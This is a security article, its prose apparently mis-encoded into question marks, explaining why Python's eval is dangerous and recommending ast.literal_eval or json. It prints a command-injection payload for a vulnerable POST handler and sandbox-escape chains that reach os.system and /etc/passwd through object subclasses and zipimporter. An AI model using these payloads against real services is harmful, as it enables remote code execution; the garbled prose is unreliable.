? ?? Python eval? ???? ?? ??? ? ?? ??? ?????. ??? ??? ??? ? ??? ????.

?? ?? ?? ???? eval? ??? ???? ?? ?? ??? ?? ??? ??? ??????. ???? ??? eval? ?? ???? ???? ??? ??? eval? ?? ????? ????. ?? ??? ???? ? ??? ??? ??? ? ????. ??? ??? ??? ? ? ??? ???? ???.

??? ?? ??? ?????. ??? ??? [bug83055][1]? ?????.

def remove(request, obj)：
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)

??? POST?? ?? ???? ???? oper_type=__import__(? ???? ?? ??? ? ????. URL ???? 'os').system('sleep 5')?? sleep ??? ??? ? ????. ?? ?? ??? ???? ?? ??? ??? ??? ? ????. ??? ????? ???? ???????. ??? ??? ???? ?? ??? ??? ??????

1. ?? ? ?

??? ??? ???? ???? ????.

>>> eval('2+2')
4
>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}
>>> eval("__import__('os').system('uname')", {})
Linux
0

? ? ?? ??? ? ? ? ?? ??? ??? ??? ???? ? ?? ??? ??? ??? ???? Python ??? ???? ?????. . ??? dict? ???, ?? ?? ???? ?? ???? ????? ???. ? ??? ?? ??? ?? ?, ? ??? ??? ???? ????.

eval? eval(source[, globals[, locals]]) -> value

globals? ???? ?? locals? ?-? ???? ???. ???? ??? ?? ? locals

???. 2, ??? ???

(1) ?? ?? ?? ? ??? ??? ??? ????? [??][2]? ????? ????? ??? ??? ?? ??? ??? ???. ?:

def safe_eval(eval_str):
    try:
        #加入命名空間
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''

Here_ _builtins__ ??? ??????? __import__? ?? ?? ??? ??????. ? ???? ??? ?????? ???? ???????:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

List items

'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', ' debug ', ' doc ', ' import ', ' name ', ' package ', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer ' , 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', ' dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr ' , 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', ' len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open ' , 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', ' set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars ' , 'xrange', 'zip']

__builtins__?? ?? ??? OS? ?? ??? ???? ? ??? ? ?? __import__? ??? ??? ? ????. ???? ??? ? eval ??? ???? ??? ??? ????.

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name &#39;__import__&#39; is not defined

?? __import__? ???? ?? ????? ??? ? ??? ???? ?????. ??? ??? ???.

?? ?? ??? ??? ????.

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
Segmentation fault (core dumped)

??? ???? ??? ?????. ? ?? ??? segfault? ?? ??????.

?? ??? ?????? ?????.

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{'__builtins__':{}})
liaoxinxi@RCM-RSAS-V6-Dev ~/tools/auto_judge $

?? ????? ?? ?? ??:

>>> ().__class__.__bases__[0].__subclasses__()
[<type &#39;type&#39;>, <type &#39;weakref&#39;>, <type &#39;weakcallableproxy&#39;>, <type &#39;weakproxy&#39;>, <type &#39;int&#39;>, <type &#39;basestring&#39;>, <type &#39;bytearray&#39;>, <type &#39;list&#39;>, <type &#39;NoneType&#39;>, <type &#39;NotImplementedType&#39;>, <type &#39;traceback&#39;>, <type &#39;super&#39;>, <type &#39;xrange&#39;>, <type &#39;dict&#39;>, <type &#39;set&#39;>, <type &#39;slice&#39;>, <type &#39;staticmethod&#39;>, <type &#39;complex&#39;>, <type &#39;float&#39;>, <type &#39;buffer&#39;>, <type &#39;long&#39;>, <type &#39;frozenset&#39;>, <type &#39;property&#39;>, <type &#39;memoryview&#39;>, <type &#39;tuple&#39;>, <type &#39;enumerate&#39;>, <type &#39;reversed&#39;>, <type &#39;code&#39;>, <type &#39;frame&#39;>, <type &#39;builtin_function_or_method&#39;>, <type &#39;instancemethod&#39;>, <type &#39;function&#39;>, <type &#39;classobj&#39;>, <type &#39;dictproxy&#39;>, <type &#39;generator&#39;>, <type &#39;getset_descriptor&#39;>, <type &#39;wrapper_descriptor&#39;>, <type &#39;instance&#39;>, <type &#39;ellipsis&#39;>, <type &#39;member_descriptor&#39;>, <type &#39;file&#39;>, <type &#39;sys.long_info&#39;>, <type &#39;sys.float_info&#39;>, <type &#39;EncodingMap&#39;>, <type &#39;sys.version_info&#39;>, <type &#39;sys.flags&#39;>, <type &#39;exceptions.BaseException&#39;>, <type &#39;module&#39;>, <type &#39;imp.NullImporter&#39;>, <type &#39;zipimport.zipimporter&#39;>, <type &#39;posix.stat_result&#39;>, <type &#39;posix.statvfs_result&#39;>, <class &#39;warnings.WarningMessage&#39;>, <class &#39;warnings.catch_warnings&#39;>, <class &#39;_weakrefset._IterationGuard&#39;>, <class &#39;_weakrefset.WeakSet&#39;>, <class &#39;_abcoll.Hashable&#39;>, <type &#39;classmethod&#39;>, <class &#39;_abcoll.Iterable&#39;>, <class &#39;_abcoll.Sized&#39;>, <class &#39;_abcoll.Container&#39;>, <class &#39;_abcoll.Callable&#39;>, <class &#39;site._Printer&#39;>, <class &#39;site._Helper&#39;>, <type &#39;_sre.SRE_Pattern&#39;>, <type &#39;_sre.SRE_Match&#39;>, <type &#39;_sre.SRE_Scanner&#39;>, <class &#39;site.Quitter&#39;>, <class &#39;codecs.IncrementalEncoder&#39;>, <class &#39;codecs.IncrementalDecoder&#39;>, <type &#39;Struct&#39;>, <type &#39;cStringIO.StringO&#39;>, <type &#39;cStringIO.StringI&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>, <class &#39;configobj.InterpolationEngine&#39;>, <class &#39;configobj.SimpleVal&#39;>]

??? Python ??? ??? Tuple? ???? ?? ?? ?? ?? ???? ??? ?? ?? ??? ?? ?? ?? ???? ?? ????. ?? ?? ???? ??? ??? ?????. ?? ??? zipimporter ??? ??? ?? ? ? ????. ?? ??? ?????

???? ???? ??:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

? ?? ??? ??? Python ?????? ????? ?????. ???? ??? ? ?? ?? ??? ??? ??? ? ?? ? ?? ??? ?????. ??? ??? ??? ?? ??, ?? ???? ??? ?????. ?? ??? ??? os ??? ???? ?? ?? ??? ?? ??? ? ??? ??????.

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0

??? ??? safe_eval? ??? ???? ??? ?? ?????.

3. ???? ???? ??

(1) ast.literal_eval? ?????

(2) ??? dict? ??? ?? json ??? ??? ? ????

? ?? ??????, ?? ?? ? ???????. , PHP ??? ????? python ??? ???? ??? ??? ???!

? ??? Python ??? ???? ?? ??? ? ?? ?? ??? ?? ?????. ??? ??? PHP ??? ????? ?? ?? ??? ?????!